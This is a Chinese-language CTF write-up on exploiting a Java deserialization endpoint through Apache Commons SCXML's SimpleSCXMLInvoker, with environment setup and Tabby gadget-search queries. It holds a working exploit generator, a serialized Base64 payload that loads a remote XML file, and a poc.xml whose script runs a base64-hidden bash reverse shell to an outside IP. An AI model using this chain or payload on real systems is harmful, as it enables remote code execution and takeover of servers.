视频教程在我主页简介和专栏里
环境搭建,给的附件中就一个 Main.java 和四个 jar 包,借由这道题简单讲讲一般 CTFJAVA 题目的环境搭建
环境搭建
jadx 反编译
之前前面看的几道题由于都是 spring 环境,自己写的类也少,所以都是直接打开的 jar 包复制过去的, idea 会自动反编译 class 文件(当然只是不能保存为 java 文件而已,如果想要实现反编译并保存可以试试其插件)
直接用 jadx 打开整个文件夹,然后 ctrl+E 直接保存编译后的源代码,然后再用 idea 打开,不过这种一般有个问题,就是当反编译的文件太多的时候就会出现报错(因为打包时的各个环境不同,不能做到全部反编译也是很正常的),这种时候一般有三种方法
一、
慢慢修,也就是对照着 idea 中的 class 文件改。
二、
直接删除报错的 java 文件,然后引入原本的 jar 包当作依赖,不过这样就会 java 文件混子 class 文件,不推荐,因为之所以不用 class 文件就是因为全局搜方法的时候无法搜到。
但是如果知道需要什么方法,只需要简单看看代码其实不反编译也是可以的(这种对特别简单的题可以用,然后利用 tabby 直接寻找链子)。
三、
直接把那种一看就不是自己写的类之间用 maven 引入,看包名去 maven 上搜就知道该引入什么了。
总结、
以上方法其实还需要灵活应变,比如 maven 引入一些, jadx 反编译一些,有错的再用一来改。
本题环境搭建
再 lib 目录下有四个 jar 包
一看就知道前三个是可以通过 maven 引入的,而最后一个是出题人自己写的,idea 打开看看,根据依赖,写入 pom.xml 中
<dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.1.3</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-jexl</artifactId> <version>2.1.1</version> <optional>true</optional> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.2.2</version> <optional>true</optional> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> <optional>true</optional> </dependency> <dependency> <groupId>logkit</groupId> <artifactId>logkit</artifactId> <version>1.0.1</version> <optional>true</optional> </dependency> <dependency> <groupId>avalon-framework</groupId> <artifactId>avalon-framework</artifactId> <version>4.1.5</version> <optional>true</optional> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.3</version> <scope>provided</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.bsf</groupId> <artifactId>bsf-api</artifactId> <version>3.1</version> <scope>provided</scope> </dependency></dependencies>
然后其中 commons-scxml2
引入时显示在阿里镜像源仓库无法找到,去官方搜搜是不是有这个依赖,
看到是有的,不过需要换一个镜像进行引入,最后所以依赖引入后我又把镜像改回去了,然后出问题了,到下载源码的时候这个 commons-scxml2
无法下载源码,造
但是好在其他的都能成功下载源码,那么就直接单独把这个 jar 包进行反编译修改掉报错就行了,
题目分析
先看 Main.java 源码
import com.sun.net.httpserver.HttpServer; import javax.naming.InitialContext; import java.io.IOException; public class Main { public static void main(String[] args) throws IOException { var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "9000")); var server = HttpServer.create(new java.net.InetSocketAddress(port), 0); server.createContext("/", req -> { var code = 200; var response = switch (req.getRequestURI().getPath()) { case "/scxml" -> { try { var param = req.getRequestURI().getQuery(); yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString(); } catch (Throwable e) { e.printStackTrace(); yield ":("; } } default -> { code = 404; yield "Not found"; } }; req.sendResponseHeaders(code, 0); var os = req.getResponseBody(); os.write(response.getBytes()); os.close(); }); server.start(); System.out.printf("Server listening on :%s\n", port); } }
看到在路由 /scxml 中存在一个反序列化,然后反序列化后还调用 tostring() 方法,在看看出题人自己定义的类
package com.n1ght; import java.io.Serializable; import java.util.Map; import org.apache.commons.scxml2.invoke.Invoker; import org.apache.commons.scxml2.invoke.InvokerException; /* loaded from: n1ght.jar:com/n1ght/InvokerImpl.class */ public class InvokerImpl implements Serializable { private final Invoker o; private final String source; private final Map params; public InvokerImpl(Invoker o, String source, Map params) { this.o = o; this.source = source; this.params = params; } public String toString() { try { this.o.invoke(this.source, this.params); return "success invoke"; } catch (InvokerException e) { throw new RuntimeException((Throwable) e); } } }
刚好有 tostring 方法,不难知道这里就是入口了,看到在 tostring 中调用了 Invoker 接口类的 invoke 方法,搜索一番发现只有 SimpleSCXMLInvoker
类进行了继承,跟进到其 invoke 方法
看不出什么所以然来,直接搜索 scxml 的 xxe 漏洞,
参考:https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
给的 demo
看到是通过 SCXMLReader.read
来进行连接获取 URL 中的 xml 资源,然后利用 executor.setStateMachine(scxml);
来进行加载资源,最后通过 executor.go()
执行获得的内容。
这里的 invoke 方法中刚好都有所以 poc
import com.n1ght.InvokerImpl; import org.apache.commons.scxml2.SCInstance; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.env.jexl.JexlEvaluator; import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class exp { public static void main(String[] args)throws Exception { SimpleSCXMLInvoker simin=new SimpleSCXMLInvoker(); Constructor constructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class); constructor.setAccessible(true); SCInstance sci = constructor.newInstance(new SCXMLExecutor()); setValue(sci,"evaluator",new JexlEvaluator()); setValue(simin,"parentSCInstance",sci); HashMap hashmap = new HashMap(); InvokerImpl in =new InvokerImpl(simin,"http://106.53.212.184:9001/poc.xml",hashmap); try { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objout = new ObjectOutputStream(out); objout.writeObject(in); objout.close(); out.close(); byte[] ObjectBytes = out.toByteArray(); String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes); System.out.println(base64EncodedValue); } catch (Exception e) { e.printStackTrace(); } } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
payload
rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAiaHR0cDovLzEwNi41My4yMTIuMTg0OjkwMDEvcG9jLnhtbA==
成功弹出计算机
题目上复现获得 flag
poc.xml
<?xml version="1.0"?><scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry><script>''.getClass().forName('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")</script></onentry></state></scxml>
番外
其实一开始我是没用看到在反序列化后调用了 tostring 方法的,然后就自己试着去找怎么从 readObject 调用到 toString,还是简单说说思路吧,这里先直接从原生的类开始起手,不难想到 hashmap 的 readObject 可以,直接全局搜索 hashcode,看哪些的 hashcode 可以调用到 toString,发现太多了,找了一下就放弃了,
然后又是了一下 hashtable 的 readObject,可以调用到 get 方法,那么就从 get 找看哪些 get 方法可以调用到 toString 方法,发现一个 map 类差一点就能成功,可惜其 map 中的 key 和 value 的类型固定,key 不能为 Object 类型,而 get 中又是 key.toString()。
事后了解到了 tabby 静态代码分析工具,
配置参考下方附件
然后查找命令
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1
看到通过其强大的污点分析功能得到了一条链子,但是后面试了一下是错的。
同样搜索从 hashtable 的 readobject 到 tostring 一样的有一条链子,但是没有试过。
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.Hashtable"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1